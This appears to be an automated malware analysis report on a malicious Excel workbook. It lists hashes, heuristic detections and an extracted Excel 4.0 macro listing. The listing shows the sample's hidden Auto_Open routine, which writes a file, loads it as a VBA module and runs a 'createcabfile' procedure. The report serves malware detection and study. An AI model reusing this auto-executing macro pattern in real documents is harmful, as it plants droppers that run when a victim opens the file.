Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b694e1615313208f…

MALICIOUS

Office (OLE)

271.0 KB Created: 2012-09-26 01:30:34 Authoring application: Microsoft Excel First seen: 2014-04-20
MD5: 534946ae7caab788192edea2fa0cf9bd SHA-1: fcbb2b0ac1356a39ef8f62e70a6536d97aad2e86 SHA-256: b694e1615313208f38ab2e59babc225e2d13a10d4c040551630a977446cf2b1f
180 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 15046 bytes
SHA-256: 7becc47cc36501087ea4d5d7f16717de333674d0a09fa551fb1f3b142af3e52b
Preview script
First 1,000 lines of the extracted script
' 0085     22 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  (m1)_(m2)_(m3
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     27 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00'
' 0018     29 LABEL : Cell Value, String Constant - Counter len=7 ptgRef3d  (m1)_(m2)_(m3!C82 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
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' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
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' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  (m1)_(m2)_(m3,A1,"FOPEN("c:\excel.txt",3)",""
'  (m1)_(m2)_(m3,A2,"FOR.CELL("Counter",R~0C~2,TRUE)",""
'  (m1)_(m2)_(m3,A3,A1,""
'  (m1)_(m2)_(m3,A4,NEXT(),""
'  (m1)_(m2)_(m3,A5,FCLOSE(A1),""
'  (m1)_(m2)_(m3,A6,VBA.INSERT.FILE("c:\excel.txt"),""
'  (m1)_(m2)_(m3,A7,"RUN("createcabfile",FALSE)",""
'  (m1)_(m2)_(m3,A8,RETURN(),""

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